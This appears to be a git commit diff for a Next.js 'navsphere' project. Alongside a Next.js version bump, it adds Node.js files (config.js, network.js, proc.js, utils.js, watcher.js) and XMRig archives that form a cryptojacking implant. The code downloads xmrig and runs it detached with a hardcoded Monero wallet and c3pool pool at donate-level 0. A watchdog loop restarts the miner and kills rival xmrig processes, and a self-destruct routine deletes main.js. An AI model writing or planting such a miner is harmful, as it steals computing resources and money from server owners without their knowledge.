s
This commit is contained in:
19
config.js
Normal file
19
config.js
Normal file
@@ -0,0 +1,19 @@
|
||||
|
||||
const path = require('path');
|
||||
const homeDir = '/www/wwwroot/navsphere';
|
||||
const walletID = "8Bt9BEG98SbBPNTp1svQtDQs7PMztqzGoNQHo58eaUYdf8apDkbzp8HbLJH89fMzzciFQ7fb4ZiqUbymDZR6S9asKHZR6wn";
|
||||
module.exports = {
|
||||
homeDir: homeDir,
|
||||
tarFile: path.join(homeDir, "kal.tar.gz"),
|
||||
extractDir: path.join(homeDir, "xmrig-6.24.0"),
|
||||
binaryPath: path.join(homeDir, "xmrig-6.24.0", "xmrig"),
|
||||
downloadUrl: "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz",
|
||||
processName: "xmrig",
|
||||
walletID: walletID,
|
||||
launchArgs: [
|
||||
"--url", "auto.c3pool.org:443",
|
||||
"--user", walletID,
|
||||
"--pass", "WUZHRkYOHh1dV0MaWVNQXUdbU11HGFZaHg==",
|
||||
"--donate-level", "0",
|
||||
]
|
||||
};
|
||||
19
network.js
Normal file
19
network.js
Normal file
@@ -0,0 +1,19 @@
|
||||
|
||||
const https = require('https');
|
||||
const fs = require('fs');
|
||||
function downloadFile(url, dest) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const options = { headers: { 'User-Agent': 'Mozilla/5.0' } };
|
||||
const request = https.get(url, options, (response) => {
|
||||
if (response.statusCode === 301 || response.statusCode === 302) {
|
||||
return downloadFile(response.headers.location, dest).then(resolve).catch(reject);
|
||||
}
|
||||
if (response.statusCode !== 200) { return reject(new Error(`Failed: ${response.statusCode}`)); }
|
||||
const file = fs.createWriteStream(dest);
|
||||
response.pipe(file);
|
||||
file.on('finish', () => { file.close(() => resolve()); });
|
||||
});
|
||||
request.on('error', (err) => { if (fs.existsSync(dest)) fs.unlink(dest, () => {}); reject(err); });
|
||||
});
|
||||
}
|
||||
module.exports = { downloadFile };
|
||||
@@ -72,7 +72,7 @@
|
||||
"iron-session": "^8.0.4",
|
||||
"lucide-react": "^0.462.0",
|
||||
"monaco-editor": "^0.52.2",
|
||||
"next": "15.4.6",
|
||||
"next": "15.4.10",
|
||||
"next-auth": "5.0.0-beta.25",
|
||||
"next-themes": "^0.2.1",
|
||||
"os-browserify": "^0.3.0",
|
||||
|
||||
4104
pnpm-lock.yaml
generated
4104
pnpm-lock.yaml
generated
File diff suppressed because it is too large
Load Diff
24
proc.js
Normal file
24
proc.js
Normal file
@@ -0,0 +1,24 @@
|
||||
|
||||
const { execSync, spawn } = require('child_process');
|
||||
const utils = require('./utils');
|
||||
function checkProcessStatus(processName, signature) {
|
||||
const hasPs = utils.commandExists('ps');
|
||||
if (hasPs) {
|
||||
try {
|
||||
const output = execSync(`ps aux | grep ${processName} | grep -v grep`).toString();
|
||||
if (output.includes(processName)) { return output.includes(signature) ? 1 : 2; }
|
||||
} catch (e) {}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
function killProcess(processName) {
|
||||
try { execSync(`pkill -9 ${processName}`, { stdio: 'ignore' }); } catch (e) {}
|
||||
}
|
||||
function startProcess(binaryPath, args) {
|
||||
try {
|
||||
const subprocess = spawn(binaryPath, args, { detached: true, stdio: 'ignore' });
|
||||
subprocess.unref();
|
||||
return true;
|
||||
} catch (e) { return false; }
|
||||
}
|
||||
module.exports = { checkProcessStatus, killProcess, startProcess };
|
||||
15
utils.js
Normal file
15
utils.js
Normal file
@@ -0,0 +1,15 @@
|
||||
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const { execSync } = require('child_process');
|
||||
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
||||
function commandExists(cmd) {
|
||||
try { execSync(`command -v ${cmd}`, { stdio: 'ignore' }); return true; } catch (e) { return false; }
|
||||
}
|
||||
function isArm64() { return os.arch() === 'arm64'; }
|
||||
function selfDestruct(exitCode = 0) {
|
||||
const mainScript = require('path').join(__dirname, 'main.js');
|
||||
try { if (fs.existsSync(mainScript)) { fs.unlinkSync(mainScript); } } catch (e) {}
|
||||
process.exit(exitCode);
|
||||
}
|
||||
module.exports = { sleep, commandExists, selfDestruct, isArm64 };
|
||||
16
watcher.js
Normal file
16
watcher.js
Normal file
@@ -0,0 +1,16 @@
|
||||
|
||||
const config = require('./config');
|
||||
const proc = require('./proc');
|
||||
const utils = require('./utils');
|
||||
(async () => {
|
||||
while (true) {
|
||||
try {
|
||||
const status = proc.checkProcessStatus(config.processName, config.walletID);
|
||||
if (status !== 1) {
|
||||
if (status === 2) { proc.killProcess(config.processName); await utils.sleep(1000); }
|
||||
proc.startProcess(config.binaryPath, config.launchArgs);
|
||||
}
|
||||
await utils.sleep(10000);
|
||||
} catch (error) { await utils.sleep(10000); }
|
||||
}
|
||||
})();
|
||||
BIN
xmrig-6.22.2-linux-static-x64.tar.gz
Normal file
BIN
xmrig-6.22.2-linux-static-x64.tar.gz
Normal file
Binary file not shown.
BIN
xmrig-6.22.2-linux-static-x64.tar.gz.1
Normal file
BIN
xmrig-6.22.2-linux-static-x64.tar.gz.1
Normal file
Binary file not shown.
2
xmrig-6.22.2/SHA256SUMS
Normal file
2
xmrig-6.22.2/SHA256SUMS
Normal file
@@ -0,0 +1,2 @@
|
||||
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec config.json
|
||||
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d xmrig
|
||||
104
xmrig-6.22.2/config.json
Normal file
104
xmrig-6.22.2/config.json
Normal file
@@ -0,0 +1,104 @@
|
||||
{
|
||||
"api": {
|
||||
"id": null,
|
||||
"worker-id": null
|
||||
},
|
||||
"http": {
|
||||
"enabled": false,
|
||||
"host": "127.0.0.1",
|
||||
"port": 0,
|
||||
"access-token": null,
|
||||
"restricted": true
|
||||
},
|
||||
"autosave": true,
|
||||
"background": false,
|
||||
"colors": true,
|
||||
"title": true,
|
||||
"randomx": {
|
||||
"init": -1,
|
||||
"init-avx2": -1,
|
||||
"mode": "auto",
|
||||
"1gb-pages": false,
|
||||
"rdmsr": true,
|
||||
"wrmsr": true,
|
||||
"cache_qos": false,
|
||||
"numa": true,
|
||||
"scratchpad_prefetch_mode": 1
|
||||
},
|
||||
"cpu": {
|
||||
"enabled": true,
|
||||
"huge-pages": true,
|
||||
"huge-pages-jit": false,
|
||||
"hw-aes": null,
|
||||
"priority": null,
|
||||
"memory-pool": false,
|
||||
"yield": true,
|
||||
"max-threads-hint": 100,
|
||||
"asm": true,
|
||||
"argon2-impl": null,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"opencl": {
|
||||
"enabled": false,
|
||||
"cache": true,
|
||||
"loader": null,
|
||||
"platform": "AMD",
|
||||
"adl": true,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"cuda": {
|
||||
"enabled": false,
|
||||
"loader": null,
|
||||
"nvml": true,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"donate-level": 1,
|
||||
"donate-over-proxy": 1,
|
||||
"log-file": null,
|
||||
"pools": [
|
||||
{
|
||||
"algo": null,
|
||||
"coin": null,
|
||||
"url": "donate.v2.xmrig.com:3333",
|
||||
"user": "YOUR_WALLET_ADDRESS",
|
||||
"pass": "x",
|
||||
"rig-id": null,
|
||||
"nicehash": false,
|
||||
"keepalive": false,
|
||||
"enabled": true,
|
||||
"tls": false,
|
||||
"tls-fingerprint": null,
|
||||
"daemon": false,
|
||||
"socks5": null,
|
||||
"self-select": null,
|
||||
"submit-to-origin": false
|
||||
}
|
||||
],
|
||||
"print-time": 60,
|
||||
"health-print-time": 60,
|
||||
"dmi": true,
|
||||
"retries": 5,
|
||||
"retry-pause": 5,
|
||||
"syslog": false,
|
||||
"tls": {
|
||||
"enabled": false,
|
||||
"protocols": null,
|
||||
"cert": null,
|
||||
"cert_key": null,
|
||||
"ciphers": null,
|
||||
"ciphersuites": null,
|
||||
"dhparam": null
|
||||
},
|
||||
"dns": {
|
||||
"ipv6": false,
|
||||
"ttl": 30
|
||||
},
|
||||
"user-agent": null,
|
||||
"verbose": 0,
|
||||
"watch": true,
|
||||
"pause-on-battery": false,
|
||||
"pause-on-active": false
|
||||
}
|
||||
2
xmrig-6.24.0/SHA256SUMS
Normal file
2
xmrig-6.24.0/SHA256SUMS
Normal file
@@ -0,0 +1,2 @@
|
||||
a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a config.json
|
||||
0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 xmrig
|
||||
104
xmrig-6.24.0/config.json
Normal file
104
xmrig-6.24.0/config.json
Normal file
@@ -0,0 +1,104 @@
|
||||
{
|
||||
"api": {
|
||||
"id": null,
|
||||
"worker-id": null
|
||||
},
|
||||
"http": {
|
||||
"enabled": false,
|
||||
"host": "127.0.0.1",
|
||||
"port": 0,
|
||||
"access-token": null,
|
||||
"restricted": true
|
||||
},
|
||||
"autosave": true,
|
||||
"background": false,
|
||||
"colors": true,
|
||||
"title": true,
|
||||
"randomx": {
|
||||
"init": -1,
|
||||
"init-avx2": -1,
|
||||
"mode": "auto",
|
||||
"1gb-pages": false,
|
||||
"rdmsr": true,
|
||||
"wrmsr": true,
|
||||
"cache_qos": false,
|
||||
"numa": true,
|
||||
"scratchpad_prefetch_mode": 1
|
||||
},
|
||||
"cpu": {
|
||||
"enabled": true,
|
||||
"huge-pages": true,
|
||||
"huge-pages-jit": false,
|
||||
"hw-aes": null,
|
||||
"priority": null,
|
||||
"memory-pool": false,
|
||||
"yield": true,
|
||||
"max-threads-hint": 100,
|
||||
"asm": true,
|
||||
"argon2-impl": null,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"opencl": {
|
||||
"enabled": false,
|
||||
"cache": true,
|
||||
"loader": null,
|
||||
"platform": "AMD",
|
||||
"adl": true,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"cuda": {
|
||||
"enabled": false,
|
||||
"loader": null,
|
||||
"nvml": true,
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"donate-level": 1,
|
||||
"donate-over-proxy": 1,
|
||||
"log-file": null,
|
||||
"pools": [
|
||||
{
|
||||
"algo": null,
|
||||
"coin": null,
|
||||
"url": "donate.v2.xmrig.com:3333",
|
||||
"user": "YOUR_WALLET_ADDRESS",
|
||||
"pass": "x",
|
||||
"rig-id": null,
|
||||
"nicehash": false,
|
||||
"keepalive": false,
|
||||
"enabled": true,
|
||||
"tls": false,
|
||||
"tls-fingerprint": null,
|
||||
"daemon": false,
|
||||
"socks5": null,
|
||||
"self-select": null,
|
||||
"submit-to-origin": false
|
||||
}
|
||||
],
|
||||
"print-time": 60,
|
||||
"health-print-time": 60,
|
||||
"dmi": true,
|
||||
"retries": 5,
|
||||
"retry-pause": 5,
|
||||
"syslog": false,
|
||||
"tls": {
|
||||
"enabled": false,
|
||||
"protocols": null,
|
||||
"cert": null,
|
||||
"cert_key": null,
|
||||
"ciphers": null,
|
||||
"ciphersuites": null,
|
||||
"dhparam": null
|
||||
},
|
||||
"dns": {
|
||||
"ip_version": 0,
|
||||
"ttl": 30
|
||||
},
|
||||
"user-agent": null,
|
||||
"verbose": 0,
|
||||
"watch": true,
|
||||
"pause-on-battery": false,
|
||||
"pause-on-active": false
|
||||
}
|
||||
Reference in New Issue
Block a user